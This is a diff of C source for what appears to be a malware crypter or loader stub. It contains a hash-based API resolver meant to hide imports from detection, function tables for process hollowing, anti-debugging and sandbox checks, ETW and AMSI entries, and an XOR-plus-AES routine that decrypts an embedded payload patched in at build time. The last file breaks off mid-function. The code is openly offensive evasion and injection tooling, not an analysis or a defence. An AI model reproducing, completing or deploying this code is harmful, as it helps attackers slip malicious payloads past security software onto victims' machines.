initial commit
This commit is contained in:
Executable
+245
@@ -0,0 +1,245 @@
|
||||
/**
|
||||
* api_resolve.c -- PEB walking + PE export table hash resolution
|
||||
*
|
||||
* Resolves Win32 API addresses at runtime via DJB2 hash comparison,
|
||||
* eliminating suspicious imports from the IAT. Hash seed and constants
|
||||
* are patched per-build by the polymorph engine.
|
||||
*/
|
||||
|
||||
#include <windows.h>
|
||||
#include <stdint.h>
|
||||
#include "api_resolve.h"
|
||||
|
||||
/* ── PEB structures (custom typedefs to avoid winternl.h conflicts) ── */
|
||||
|
||||
typedef struct _AR_LDR_DATA_TABLE_ENTRY {
|
||||
LIST_ENTRY InMemoryOrderModuleList;
|
||||
LIST_ENTRY InInitializationOrderModuleList;
|
||||
LPVOID DllBase;
|
||||
LPVOID EntryPoint;
|
||||
ULONG SizeOfImage;
|
||||
UNICODE_STRING FullDllName;
|
||||
UNICODE_STRING BaseDllName;
|
||||
} AR_LDR_DATA_TABLE_ENTRY, *PAR_LDR_DATA_TABLE_ENTRY;
|
||||
|
||||
typedef struct _AR_PEB_LDR_DATA {
|
||||
DWORD Length;
|
||||
DWORD Initialized;
|
||||
LPVOID SsHandle;
|
||||
LIST_ENTRY InLoadOrderModuleList;
|
||||
LIST_ENTRY InMemoryOrderModuleList;
|
||||
} AR_PEB_LDR_DATA, *PAR_PEB_LDR_DATA;
|
||||
|
||||
typedef struct _AR_PEB {
|
||||
BYTE Reserved1[2];
|
||||
BYTE BeingDebugged;
|
||||
BYTE Reserved2;
|
||||
#ifdef _WIN64
|
||||
BYTE Reserved3[4];
|
||||
#endif
|
||||
LPVOID Reserved4[2];
|
||||
PAR_PEB_LDR_DATA Ldr;
|
||||
} AR_PEB, *PAR_PEB;
|
||||
|
||||
/* ── DJB2 hash seed (patched by polymorph engine) ──────────────── */
|
||||
|
||||
#define API_HASH_SEED 0xDEADBEEF
|
||||
|
||||
/* ── Global API table ──────────────────────────────────────────── */
|
||||
|
||||
ApiTable g_api;
|
||||
|
||||
/* ── Hash functions ────────────────────────────────────────────── */
|
||||
|
||||
static DWORD djb2_hash_wide_lower(const WCHAR *str, USHORT len_bytes) {
|
||||
DWORD hash = API_HASH_SEED;
|
||||
USHORT count = len_bytes / sizeof(WCHAR);
|
||||
for (USHORT i = 0; i < count; i++) {
|
||||
WCHAR c = str[i];
|
||||
if (c >= L'A' && c <= L'Z') c += 0x20;
|
||||
hash = hash * 33 + (DWORD)c;
|
||||
}
|
||||
return hash;
|
||||
}
|
||||
|
||||
static DWORD djb2_hash_ascii(const char *str) {
|
||||
DWORD hash = API_HASH_SEED;
|
||||
while (*str) {
|
||||
hash = hash * 33 + (unsigned char)*str;
|
||||
str++;
|
||||
}
|
||||
return hash;
|
||||
}
|
||||
|
||||
/* ── PEB walking: find module base by hash ─────────────────────── */
|
||||
|
||||
static void *peb_get_module(DWORD hash) {
|
||||
#ifdef _WIN64
|
||||
PAR_PEB_LDR_DATA ldr = ((PAR_PEB)__readgsqword(0x60))->Ldr;
|
||||
#else
|
||||
PAR_PEB_LDR_DATA ldr = ((PAR_PEB)__readfsdword(0x30))->Ldr;
|
||||
#endif
|
||||
|
||||
PAR_LDR_DATA_TABLE_ENTRY first =
|
||||
(PAR_LDR_DATA_TABLE_ENTRY)ldr->InMemoryOrderModuleList.Flink;
|
||||
PAR_LDR_DATA_TABLE_ENTRY entry = first;
|
||||
|
||||
do {
|
||||
if (entry->BaseDllName.Buffer) {
|
||||
DWORD h = djb2_hash_wide_lower(
|
||||
entry->BaseDllName.Buffer,
|
||||
entry->BaseDllName.Length
|
||||
);
|
||||
if (h == hash) return entry->DllBase;
|
||||
}
|
||||
} while ((entry = (PAR_LDR_DATA_TABLE_ENTRY)
|
||||
entry->InMemoryOrderModuleList.Flink) != first);
|
||||
|
||||
return NULL;
|
||||
}
|
||||
|
||||
/* ── PE export table walking: find export by hash ──────────────── */
|
||||
|
||||
static void *peb_get_proc(void *base, DWORD hash) {
|
||||
if (!base) return NULL;
|
||||
|
||||
LPBYTE mod = (LPBYTE)base;
|
||||
IMAGE_DOS_HEADER *dos = (IMAGE_DOS_HEADER *)mod;
|
||||
IMAGE_NT_HEADERS *nt = (IMAGE_NT_HEADERS *)(mod + dos->e_lfanew);
|
||||
IMAGE_EXPORT_DIRECTORY *exports = (IMAGE_EXPORT_DIRECTORY *)(
|
||||
mod + nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress
|
||||
);
|
||||
|
||||
DWORD *names = (DWORD *)(mod + exports->AddressOfNames);
|
||||
WORD *ordinals = (WORD *)(mod + exports->AddressOfNameOrdinals);
|
||||
DWORD *funcs = (DWORD *)(mod + exports->AddressOfFunctions);
|
||||
|
||||
for (DWORD i = 0; i < exports->NumberOfNames; i++) {
|
||||
const char *name = (const char *)(mod + names[i]);
|
||||
if (djb2_hash_ascii(name) == hash) {
|
||||
return mod + funcs[ordinals[i]];
|
||||
}
|
||||
}
|
||||
|
||||
return NULL;
|
||||
}
|
||||
|
||||
/* ── Combined resolver (internal) ──────────────────────────────── */
|
||||
|
||||
static void *resolve_api(DWORD mod_hash, DWORD fn_hash) {
|
||||
void *mod = peb_get_module(mod_hash);
|
||||
if (!mod) return NULL;
|
||||
return peb_get_proc(mod, fn_hash);
|
||||
}
|
||||
|
||||
/* ── Public: lazy resolution for one-off lookups ───────────────── */
|
||||
|
||||
void *api_resolve_func(DWORD mod_hash, DWORD fn_hash) {
|
||||
return resolve_api(mod_hash, fn_hash);
|
||||
}
|
||||
|
||||
/* ── Init: resolve all APIs into global table ──────────────────── */
|
||||
|
||||
void api_resolve_init(void) {
|
||||
/* Module bases */
|
||||
g_api.ntdll_base = peb_get_module(HASH_NTDLL);
|
||||
g_api.kernel32_base = peb_get_module(HASH_KERNEL32);
|
||||
|
||||
/* ntdll */
|
||||
g_api.pNtUnmapViewOfSection =
|
||||
(fn_NtUnmapViewOfSection)peb_get_proc(g_api.ntdll_base, HASH_NtUnmapViewOfSection);
|
||||
g_api.pNtQueryInformationProcess =
|
||||
(fn_NtQueryInformationProcess)peb_get_proc(g_api.ntdll_base, HASH_NtQueryInformationProcess);
|
||||
|
||||
/* kernel32 — resolve LoadLibraryA first (needed for fallback loading) */
|
||||
g_api.pLoadLibraryA =
|
||||
(fn_LoadLibraryA)peb_get_proc(g_api.kernel32_base, HASH_LoadLibraryA);
|
||||
g_api.pCreateProcessW =
|
||||
(fn_CreateProcessW)peb_get_proc(g_api.kernel32_base, HASH_CreateProcessW);
|
||||
g_api.pGetThreadContext =
|
||||
(fn_GetThreadContext)peb_get_proc(g_api.kernel32_base, HASH_GetThreadContext);
|
||||
g_api.pSetThreadContext =
|
||||
(fn_SetThreadContext)peb_get_proc(g_api.kernel32_base, HASH_SetThreadContext);
|
||||
g_api.pResumeThread =
|
||||
(fn_ResumeThread)peb_get_proc(g_api.kernel32_base, HASH_ResumeThread);
|
||||
g_api.pTerminateProcess =
|
||||
(fn_TerminateProcess)peb_get_proc(g_api.kernel32_base, HASH_TerminateProcess);
|
||||
g_api.pReadProcessMemory =
|
||||
(fn_ReadProcessMemory)peb_get_proc(g_api.kernel32_base, HASH_ReadProcessMemory);
|
||||
g_api.pWriteProcessMemory =
|
||||
(fn_WriteProcessMemory)peb_get_proc(g_api.kernel32_base, HASH_WriteProcessMemory);
|
||||
g_api.pVirtualAllocEx =
|
||||
(fn_VirtualAllocEx)peb_get_proc(g_api.kernel32_base, HASH_VirtualAllocEx);
|
||||
g_api.pVirtualAlloc =
|
||||
(fn_VirtualAlloc)peb_get_proc(g_api.kernel32_base, HASH_VirtualAlloc);
|
||||
g_api.pVirtualProtect =
|
||||
(fn_VirtualProtect)peb_get_proc(g_api.kernel32_base, HASH_VirtualProtect);
|
||||
g_api.pVirtualFree =
|
||||
(fn_VirtualFree)peb_get_proc(g_api.kernel32_base, HASH_VirtualFree);
|
||||
g_api.pCreateThread =
|
||||
(fn_CreateThread)peb_get_proc(g_api.kernel32_base, HASH_CreateThread);
|
||||
g_api.pWaitForSingleObject =
|
||||
(fn_WaitForSingleObject)peb_get_proc(g_api.kernel32_base, HASH_WaitForSingleObject);
|
||||
g_api.pCloseHandle =
|
||||
(fn_CloseHandle)peb_get_proc(g_api.kernel32_base, HASH_CloseHandle);
|
||||
g_api.pExitProcess =
|
||||
(fn_ExitProcess)peb_get_proc(g_api.kernel32_base, HASH_ExitProcess);
|
||||
g_api.pSleep =
|
||||
(fn_Sleep)peb_get_proc(g_api.kernel32_base, HASH_Sleep);
|
||||
g_api.pGetTickCount64 =
|
||||
(fn_GetTickCount64)peb_get_proc(g_api.kernel32_base, HASH_GetTickCount64);
|
||||
g_api.pGlobalMemoryStatusEx =
|
||||
(fn_GlobalMemoryStatusEx)peb_get_proc(g_api.kernel32_base, HASH_GlobalMemoryStatusEx);
|
||||
g_api.pGetSystemInfo =
|
||||
(fn_GetSystemInfo)peb_get_proc(g_api.kernel32_base, HASH_GetSystemInfo);
|
||||
g_api.pIsDebuggerPresent =
|
||||
(fn_IsDebuggerPresent)peb_get_proc(g_api.kernel32_base, HASH_IsDebuggerPresent);
|
||||
g_api.pGetCurrentProcess =
|
||||
(fn_GetCurrentProcess)peb_get_proc(g_api.kernel32_base, HASH_GetCurrentProcess);
|
||||
g_api.pQueryPerformanceFrequency =
|
||||
(fn_QueryPerformanceFrequency)peb_get_proc(g_api.kernel32_base, HASH_QueryPerformanceFrequency);
|
||||
g_api.pQueryPerformanceCounter =
|
||||
(fn_QueryPerformanceCounter)peb_get_proc(g_api.kernel32_base, HASH_QueryPerformanceCounter);
|
||||
g_api.pGetSystemDirectoryA =
|
||||
(fn_GetSystemDirectoryA)peb_get_proc(g_api.kernel32_base, HASH_GetSystemDirectoryA);
|
||||
g_api.plstrcatA =
|
||||
(fn_lstrcatA)peb_get_proc(g_api.kernel32_base, HASH_lstrcatA);
|
||||
g_api.pCreateFileA =
|
||||
(fn_CreateFileA)peb_get_proc(g_api.kernel32_base, HASH_CreateFileA);
|
||||
g_api.pGetFileSize =
|
||||
(fn_GetFileSize)peb_get_proc(g_api.kernel32_base, HASH_GetFileSize);
|
||||
g_api.pCreateFileMappingA =
|
||||
(fn_CreateFileMappingA)peb_get_proc(g_api.kernel32_base, HASH_CreateFileMappingA);
|
||||
g_api.pMapViewOfFile =
|
||||
(fn_MapViewOfFile)peb_get_proc(g_api.kernel32_base, HASH_MapViewOfFile);
|
||||
g_api.pUnmapViewOfFile =
|
||||
(fn_UnmapViewOfFile)peb_get_proc(g_api.kernel32_base, HASH_UnmapViewOfFile);
|
||||
g_api.pConvertThreadToFiber =
|
||||
(fn_ConvertThreadToFiber)peb_get_proc(g_api.kernel32_base, HASH_ConvertThreadToFiber);
|
||||
g_api.pCreateFiber =
|
||||
(fn_CreateFiber)peb_get_proc(g_api.kernel32_base, HASH_CreateFiber);
|
||||
g_api.pSwitchToFiber =
|
||||
(fn_SwitchToFiber)peb_get_proc(g_api.kernel32_base, HASH_SwitchToFiber);
|
||||
g_api.pDeleteFiber =
|
||||
(fn_DeleteFiber)peb_get_proc(g_api.kernel32_base, HASH_DeleteFiber);
|
||||
g_api.pFlushInstructionCache =
|
||||
(fn_FlushInstructionCache)peb_get_proc(g_api.kernel32_base, HASH_FlushInstructionCache);
|
||||
|
||||
/* advapi32 — may not be loaded yet, use LoadLibraryA fallback */
|
||||
void *advapi32 = peb_get_module(HASH_ADVAPI32);
|
||||
if (!advapi32 && g_api.pLoadLibraryA) {
|
||||
advapi32 = (void *)g_api.pLoadLibraryA("advapi32.dll");
|
||||
}
|
||||
g_api.pRegOpenKeyExA =
|
||||
(fn_RegOpenKeyExA)peb_get_proc(advapi32, HASH_RegOpenKeyExA);
|
||||
g_api.pRegCloseKey =
|
||||
(fn_RegCloseKey)peb_get_proc(advapi32, HASH_RegCloseKey);
|
||||
|
||||
/* user32 — may not be loaded yet, use LoadLibraryA fallback */
|
||||
void *user32 = peb_get_module(HASH_USER32);
|
||||
if (!user32 && g_api.pLoadLibraryA) {
|
||||
user32 = (void *)g_api.pLoadLibraryA("user32.dll");
|
||||
}
|
||||
g_api.pGetCursorPos =
|
||||
(fn_GetCursorPos)peb_get_proc(user32, HASH_GetCursorPos);
|
||||
}
|
||||
Executable
+185
@@ -0,0 +1,185 @@
|
||||
#ifndef API_RESOLVE_H
|
||||
#define API_RESOLVE_H
|
||||
|
||||
#include <windows.h>
|
||||
#include <winternl.h>
|
||||
|
||||
/* ── Module hash constants (DJB2, patched by polymorph engine) ──── */
|
||||
|
||||
#define HASH_NTDLL 0xDEADBEEF
|
||||
#define HASH_KERNEL32 0xDEADBEEF
|
||||
#define HASH_ADVAPI32 0xDEADBEEF
|
||||
#define HASH_USER32 0xDEADBEEF
|
||||
#define HASH_AMSI 0xDEADBEEF
|
||||
|
||||
/* ── Function hash constants ───────────────────────────────────── */
|
||||
|
||||
/* ntdll.dll */
|
||||
#define HASH_NtUnmapViewOfSection 0xDEADBEEF
|
||||
#define HASH_NtQueryInformationProcess 0xDEADBEEF
|
||||
|
||||
/* kernel32.dll */
|
||||
#define HASH_LoadLibraryA 0xDEADBEEF
|
||||
#define HASH_CreateProcessW 0xDEADBEEF
|
||||
#define HASH_GetThreadContext 0xDEADBEEF
|
||||
#define HASH_SetThreadContext 0xDEADBEEF
|
||||
#define HASH_ResumeThread 0xDEADBEEF
|
||||
#define HASH_TerminateProcess 0xDEADBEEF
|
||||
#define HASH_ReadProcessMemory 0xDEADBEEF
|
||||
#define HASH_WriteProcessMemory 0xDEADBEEF
|
||||
#define HASH_VirtualAllocEx 0xDEADBEEF
|
||||
#define HASH_VirtualAlloc 0xDEADBEEF
|
||||
#define HASH_VirtualProtect 0xDEADBEEF
|
||||
#define HASH_VirtualFree 0xDEADBEEF
|
||||
#define HASH_CreateThread 0xDEADBEEF
|
||||
#define HASH_WaitForSingleObject 0xDEADBEEF
|
||||
#define HASH_CloseHandle 0xDEADBEEF
|
||||
#define HASH_ExitProcess 0xDEADBEEF
|
||||
#define HASH_Sleep 0xDEADBEEF
|
||||
#define HASH_GetTickCount64 0xDEADBEEF
|
||||
#define HASH_GlobalMemoryStatusEx 0xDEADBEEF
|
||||
#define HASH_GetSystemInfo 0xDEADBEEF
|
||||
#define HASH_IsDebuggerPresent 0xDEADBEEF
|
||||
#define HASH_GetCurrentProcess 0xDEADBEEF
|
||||
#define HASH_QueryPerformanceFrequency 0xDEADBEEF
|
||||
#define HASH_QueryPerformanceCounter 0xDEADBEEF
|
||||
#define HASH_GetSystemDirectoryA 0xDEADBEEF
|
||||
#define HASH_lstrcatA 0xDEADBEEF
|
||||
#define HASH_CreateFileA 0xDEADBEEF
|
||||
#define HASH_GetFileSize 0xDEADBEEF
|
||||
#define HASH_CreateFileMappingA 0xDEADBEEF
|
||||
#define HASH_MapViewOfFile 0xDEADBEEF
|
||||
#define HASH_UnmapViewOfFile 0xDEADBEEF
|
||||
|
||||
/* advapi32.dll */
|
||||
#define HASH_RegOpenKeyExA 0xDEADBEEF
|
||||
#define HASH_RegCloseKey 0xDEADBEEF
|
||||
|
||||
/* user32.dll */
|
||||
#define HASH_GetCursorPos 0xDEADBEEF
|
||||
|
||||
/* Fiber APIs (kernel32) */
|
||||
#define HASH_ConvertThreadToFiber 0xDEADBEEF
|
||||
#define HASH_CreateFiber 0xDEADBEEF
|
||||
#define HASH_SwitchToFiber 0xDEADBEEF
|
||||
#define HASH_DeleteFiber 0xDEADBEEF
|
||||
#define HASH_FlushInstructionCache 0xDEADBEEF
|
||||
|
||||
/* Lazy-resolved (not in ApiTable struct) */
|
||||
#define HASH_EtwEventWrite 0xDEADBEEF
|
||||
#define HASH_AmsiOpenSession 0xDEADBEEF
|
||||
|
||||
/* ── Function pointer typedefs ─────────────────────────────────── */
|
||||
|
||||
/* ntdll */
|
||||
typedef NTSTATUS (NTAPI *fn_NtUnmapViewOfSection)(HANDLE, PVOID);
|
||||
typedef NTSTATUS (NTAPI *fn_NtQueryInformationProcess)(HANDLE, ULONG, PVOID, ULONG, PULONG);
|
||||
|
||||
/* kernel32 */
|
||||
typedef HMODULE (WINAPI *fn_LoadLibraryA)(LPCSTR);
|
||||
typedef BOOL (WINAPI *fn_CreateProcessW)(LPCWSTR, LPWSTR, LPSECURITY_ATTRIBUTES, LPSECURITY_ATTRIBUTES, BOOL, DWORD, LPVOID, LPCWSTR, LPSTARTUPINFOW, LPPROCESS_INFORMATION);
|
||||
typedef BOOL (WINAPI *fn_GetThreadContext)(HANDLE, LPCONTEXT);
|
||||
typedef BOOL (WINAPI *fn_SetThreadContext)(HANDLE, const CONTEXT*);
|
||||
typedef DWORD (WINAPI *fn_ResumeThread)(HANDLE);
|
||||
typedef BOOL (WINAPI *fn_TerminateProcess)(HANDLE, UINT);
|
||||
typedef BOOL (WINAPI *fn_ReadProcessMemory)(HANDLE, LPCVOID, LPVOID, SIZE_T, SIZE_T*);
|
||||
typedef BOOL (WINAPI *fn_WriteProcessMemory)(HANDLE, LPVOID, LPCVOID, SIZE_T, SIZE_T*);
|
||||
typedef LPVOID (WINAPI *fn_VirtualAllocEx)(HANDLE, LPVOID, SIZE_T, DWORD, DWORD);
|
||||
typedef LPVOID (WINAPI *fn_VirtualAlloc)(LPVOID, SIZE_T, DWORD, DWORD);
|
||||
typedef BOOL (WINAPI *fn_VirtualProtect)(LPVOID, SIZE_T, DWORD, PDWORD);
|
||||
typedef BOOL (WINAPI *fn_VirtualFree)(LPVOID, SIZE_T, DWORD);
|
||||
typedef HANDLE (WINAPI *fn_CreateThread)(LPSECURITY_ATTRIBUTES, SIZE_T, LPTHREAD_START_ROUTINE, LPVOID, DWORD, LPDWORD);
|
||||
typedef DWORD (WINAPI *fn_WaitForSingleObject)(HANDLE, DWORD);
|
||||
typedef BOOL (WINAPI *fn_CloseHandle)(HANDLE);
|
||||
typedef void (WINAPI *fn_ExitProcess)(UINT);
|
||||
typedef void (WINAPI *fn_Sleep)(DWORD);
|
||||
typedef ULONGLONG (WINAPI *fn_GetTickCount64)(void);
|
||||
typedef BOOL (WINAPI *fn_GlobalMemoryStatusEx)(LPMEMORYSTATUSEX);
|
||||
typedef void (WINAPI *fn_GetSystemInfo)(LPSYSTEM_INFO);
|
||||
typedef BOOL (WINAPI *fn_IsDebuggerPresent)(void);
|
||||
typedef HANDLE (WINAPI *fn_GetCurrentProcess)(void);
|
||||
typedef BOOL (WINAPI *fn_QueryPerformanceFrequency)(LARGE_INTEGER*);
|
||||
typedef BOOL (WINAPI *fn_QueryPerformanceCounter)(LARGE_INTEGER*);
|
||||
typedef UINT (WINAPI *fn_GetSystemDirectoryA)(LPSTR, UINT);
|
||||
typedef LPSTR (WINAPI *fn_lstrcatA)(LPSTR, LPCSTR);
|
||||
typedef HANDLE (WINAPI *fn_CreateFileA)(LPCSTR, DWORD, DWORD, LPSECURITY_ATTRIBUTES, DWORD, DWORD, HANDLE);
|
||||
typedef DWORD (WINAPI *fn_GetFileSize)(HANDLE, LPDWORD);
|
||||
typedef HANDLE (WINAPI *fn_CreateFileMappingA)(HANDLE, LPSECURITY_ATTRIBUTES, DWORD, DWORD, DWORD, LPCSTR);
|
||||
typedef LPVOID (WINAPI *fn_MapViewOfFile)(HANDLE, DWORD, DWORD, DWORD, SIZE_T);
|
||||
typedef BOOL (WINAPI *fn_UnmapViewOfFile)(LPCVOID);
|
||||
typedef LPVOID (WINAPI *fn_ConvertThreadToFiber)(LPVOID);
|
||||
typedef LPVOID (WINAPI *fn_CreateFiber)(SIZE_T, LPFIBER_START_ROUTINE, LPVOID);
|
||||
typedef void (WINAPI *fn_SwitchToFiber)(LPVOID);
|
||||
typedef void (WINAPI *fn_DeleteFiber)(LPVOID);
|
||||
typedef BOOL (WINAPI *fn_FlushInstructionCache)(HANDLE, LPCVOID, SIZE_T);
|
||||
|
||||
/* advapi32 */
|
||||
typedef LONG (WINAPI *fn_RegOpenKeyExA)(HKEY, LPCSTR, DWORD, REGSAM, PHKEY);
|
||||
typedef LONG (WINAPI *fn_RegCloseKey)(HKEY);
|
||||
|
||||
/* user32 */
|
||||
typedef BOOL (WINAPI *fn_GetCursorPos)(LPPOINT);
|
||||
|
||||
/* ── API table struct ──────────────────────────────────────────── */
|
||||
|
||||
typedef struct _ApiTable {
|
||||
/* Module bases */
|
||||
void *ntdll_base;
|
||||
void *kernel32_base;
|
||||
|
||||
/* ntdll */
|
||||
fn_NtUnmapViewOfSection pNtUnmapViewOfSection;
|
||||
fn_NtQueryInformationProcess pNtQueryInformationProcess;
|
||||
|
||||
/* kernel32 */
|
||||
fn_LoadLibraryA pLoadLibraryA;
|
||||
fn_CreateProcessW pCreateProcessW;
|
||||
fn_GetThreadContext pGetThreadContext;
|
||||
fn_SetThreadContext pSetThreadContext;
|
||||
fn_ResumeThread pResumeThread;
|
||||
fn_TerminateProcess pTerminateProcess;
|
||||
fn_ReadProcessMemory pReadProcessMemory;
|
||||
fn_WriteProcessMemory pWriteProcessMemory;
|
||||
fn_VirtualAllocEx pVirtualAllocEx;
|
||||
fn_VirtualAlloc pVirtualAlloc;
|
||||
fn_VirtualProtect pVirtualProtect;
|
||||
fn_VirtualFree pVirtualFree;
|
||||
fn_CreateThread pCreateThread;
|
||||
fn_WaitForSingleObject pWaitForSingleObject;
|
||||
fn_CloseHandle pCloseHandle;
|
||||
fn_ExitProcess pExitProcess;
|
||||
fn_Sleep pSleep;
|
||||
fn_GetTickCount64 pGetTickCount64;
|
||||
fn_GlobalMemoryStatusEx pGlobalMemoryStatusEx;
|
||||
fn_GetSystemInfo pGetSystemInfo;
|
||||
fn_IsDebuggerPresent pIsDebuggerPresent;
|
||||
fn_GetCurrentProcess pGetCurrentProcess;
|
||||
fn_QueryPerformanceFrequency pQueryPerformanceFrequency;
|
||||
fn_QueryPerformanceCounter pQueryPerformanceCounter;
|
||||
fn_GetSystemDirectoryA pGetSystemDirectoryA;
|
||||
fn_lstrcatA plstrcatA;
|
||||
fn_CreateFileA pCreateFileA;
|
||||
fn_GetFileSize pGetFileSize;
|
||||
fn_CreateFileMappingA pCreateFileMappingA;
|
||||
fn_MapViewOfFile pMapViewOfFile;
|
||||
fn_UnmapViewOfFile pUnmapViewOfFile;
|
||||
fn_ConvertThreadToFiber pConvertThreadToFiber;
|
||||
fn_CreateFiber pCreateFiber;
|
||||
fn_SwitchToFiber pSwitchToFiber;
|
||||
fn_DeleteFiber pDeleteFiber;
|
||||
fn_FlushInstructionCache pFlushInstructionCache;
|
||||
|
||||
/* advapi32 */
|
||||
fn_RegOpenKeyExA pRegOpenKeyExA;
|
||||
fn_RegCloseKey pRegCloseKey;
|
||||
|
||||
/* user32 */
|
||||
fn_GetCursorPos pGetCursorPos;
|
||||
} ApiTable;
|
||||
|
||||
extern ApiTable g_api;
|
||||
|
||||
void api_resolve_init(void);
|
||||
void *api_resolve_func(DWORD mod_hash, DWORD fn_hash);
|
||||
|
||||
#endif /* API_RESOLVE_H */
|
||||
Executable
+166
@@ -0,0 +1,166 @@
|
||||
/**
|
||||
* decrypt_layer.c — XOR + AES-256-CBC decryption using bcrypt.dll
|
||||
*
|
||||
* Layered decryption:
|
||||
* 1. XOR decrypt with embedded 32-byte key
|
||||
* 2. AES-256-CBC decrypt via Windows CNG (bcrypt.dll)
|
||||
*
|
||||
* Keys, IV, and payload are patched in by the crypter engine at build time.
|
||||
*/
|
||||
|
||||
#include <windows.h>
|
||||
#include <bcrypt.h>
|
||||
#include <stdint.h>
|
||||
#include <string.h>
|
||||
|
||||
#pragma comment(lib, "bcrypt")
|
||||
|
||||
/* ── Patched at build time (keys XOR'd with per-build mask) ───────── */
|
||||
|
||||
/* CRYPTER_KEY_MASK_PLACEHOLDER */
|
||||
static const uint8_t KEY_MASK[32] = { 0 };
|
||||
|
||||
/* CRYPTER_XOR_KEY_ENC_PLACEHOLDER */
|
||||
static const uint8_t XOR_KEY_ENC[32] = { 0 };
|
||||
|
||||
/* CRYPTER_AES_KEY_ENC_PLACEHOLDER */
|
||||
static const uint8_t AES_KEY_ENC[32] = { 0 };
|
||||
|
||||
/* CRYPTER_AES_IV_ENC_PLACEHOLDER */
|
||||
static const uint8_t AES_IV_ENC[16] = { 0 };
|
||||
|
||||
/* CRYPTER_PAYLOAD_PLACEHOLDER */
|
||||
static const uint8_t ENCRYPTED_PAYLOAD[] = { 0 };
|
||||
|
||||
/* CRYPTER_PAYLOAD_LEN_PLACEHOLDER */
|
||||
static const uint32_t PAYLOAD_LEN = 0;
|
||||
|
||||
/* ── XOR layer ─────────────────────────────────────────────────────── */
|
||||
|
||||
static void xor_decrypt(uint8_t *data, uint32_t len, const uint8_t *key, uint32_t key_len) {
|
||||
for (uint32_t i = 0; i < len; i++) {
|
||||
data[i] ^= key[i % key_len];
|
||||
}
|
||||
}
|
||||
|
||||
/* ── AES-256-CBC layer (CNG) ───────────────────────────────────────── */
|
||||
|
||||
static int aes_decrypt(const uint8_t *ciphertext, uint32_t ct_len,
|
||||
const uint8_t *key, const uint8_t *iv,
|
||||
uint8_t *plaintext, uint32_t *pt_len) {
|
||||
BCRYPT_ALG_HANDLE hAlg = NULL;
|
||||
BCRYPT_KEY_HANDLE hKey = NULL;
|
||||
NTSTATUS status;
|
||||
ULONG result_len = 0;
|
||||
DWORD key_obj_size = 0;
|
||||
ULONG data_size = 0;
|
||||
uint8_t *key_obj = NULL;
|
||||
uint8_t iv_copy[16];
|
||||
int ret = 0;
|
||||
|
||||
/* Open AES provider */
|
||||
status = BCryptOpenAlgorithmProvider(&hAlg, BCRYPT_AES_ALGORITHM, NULL, 0);
|
||||
if (!BCRYPT_SUCCESS(status)) return 0;
|
||||
|
||||
/* Set CBC mode */
|
||||
status = BCryptSetProperty(hAlg, BCRYPT_CHAINING_MODE,
|
||||
(PUCHAR)BCRYPT_CHAIN_MODE_CBC,
|
||||
sizeof(BCRYPT_CHAIN_MODE_CBC), 0);
|
||||
if (!BCRYPT_SUCCESS(status)) goto cleanup;
|
||||
|
||||
/* Get key object size */
|
||||
status = BCryptGetProperty(hAlg, BCRYPT_OBJECT_LENGTH,
|
||||
(PUCHAR)&key_obj_size, sizeof(key_obj_size),
|
||||
&data_size, 0);
|
||||
if (!BCRYPT_SUCCESS(status)) goto cleanup;
|
||||
|
||||
key_obj = (uint8_t *)HeapAlloc(GetProcessHeap(), 0, key_obj_size);
|
||||
if (!key_obj) goto cleanup;
|
||||
|
||||
/* Generate symmetric key */
|
||||
status = BCryptGenerateSymmetricKey(hAlg, &hKey, key_obj, key_obj_size,
|
||||
(PUCHAR)key, 32, 0);
|
||||
if (!BCRYPT_SUCCESS(status)) goto cleanup;
|
||||
|
||||
/* BCryptDecrypt modifies the IV buffer in-place, so copy it */
|
||||
memcpy(iv_copy, iv, 16);
|
||||
|
||||
/* Decrypt */
|
||||
status = BCryptDecrypt(hKey, (PUCHAR)ciphertext, ct_len, NULL,
|
||||
iv_copy, 16, plaintext, ct_len, &result_len, BCRYPT_BLOCK_PADDING);
|
||||
if (!BCRYPT_SUCCESS(status)) goto cleanup;
|
||||
|
||||
*pt_len = result_len;
|
||||
ret = 1;
|
||||
|
||||
cleanup:
|
||||
if (hKey) BCryptDestroyKey(hKey);
|
||||
if (key_obj) HeapFree(GetProcessHeap(), 0, key_obj);
|
||||
if (hAlg) BCryptCloseAlgorithmProvider(hAlg, 0);
|
||||
return ret;
|
||||
}
|
||||
|
||||
/* ── Public API ────────────────────────────────────────────────────── */
|
||||
|
||||
/**
|
||||
* Derive a key by XOR'ing encrypted key with mask. Operates on the stack.
|
||||
*/
|
||||
static void derive_key(uint8_t *out, const uint8_t *enc, const uint8_t *mask, uint32_t len) {
|
||||
for (uint32_t i = 0; i < len; i++) {
|
||||
out[i] = enc[i] ^ mask[i % 32];
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Decrypt the embedded payload. Caller must HeapFree the returned buffer.
|
||||
* Returns NULL on failure.
|
||||
*/
|
||||
uint8_t *decrypt_payload(uint32_t *out_len) {
|
||||
/* Derive keys on the stack from masked storage */
|
||||
volatile uint8_t xor_key[32];
|
||||
volatile uint8_t aes_key[32];
|
||||
volatile uint8_t aes_iv[16];
|
||||
|
||||
derive_key((uint8_t *)xor_key, XOR_KEY_ENC, KEY_MASK, 32);
|
||||
derive_key((uint8_t *)aes_key, AES_KEY_ENC, KEY_MASK, 32);
|
||||
derive_key((uint8_t *)aes_iv, AES_IV_ENC, KEY_MASK, 16);
|
||||
|
||||
/* Copy encrypted payload to writable buffer for XOR pass */
|
||||
uint32_t enc_len = PAYLOAD_LEN;
|
||||
uint8_t *buf = (uint8_t *)HeapAlloc(GetProcessHeap(), 0, enc_len);
|
||||
if (!buf) goto wipe_keys;
|
||||
memcpy(buf, ENCRYPTED_PAYLOAD, enc_len);
|
||||
|
||||
/* Layer 1: XOR */
|
||||
xor_decrypt(buf, enc_len, (const uint8_t *)xor_key, 32);
|
||||
|
||||
/* Layer 2: AES-256-CBC */
|
||||
uint8_t *plaintext = (uint8_t *)HeapAlloc(GetProcessHeap(), 0, enc_len);
|
||||
if (!plaintext) {
|
||||
HeapFree(GetProcessHeap(), 0, buf);
|
||||
goto wipe_keys;
|
||||
}
|
||||
|
||||
uint32_t pt_len = 0;
|
||||
if (!aes_decrypt(buf, enc_len, (const uint8_t *)aes_key, (const uint8_t *)aes_iv, plaintext, &pt_len)) {
|
||||
HeapFree(GetProcessHeap(), 0, buf);
|
||||
HeapFree(GetProcessHeap(), 0, plaintext);
|
||||
goto wipe_keys;
|
||||
}
|
||||
|
||||
HeapFree(GetProcessHeap(), 0, buf);
|
||||
|
||||
/* Wipe derived keys from stack */
|
||||
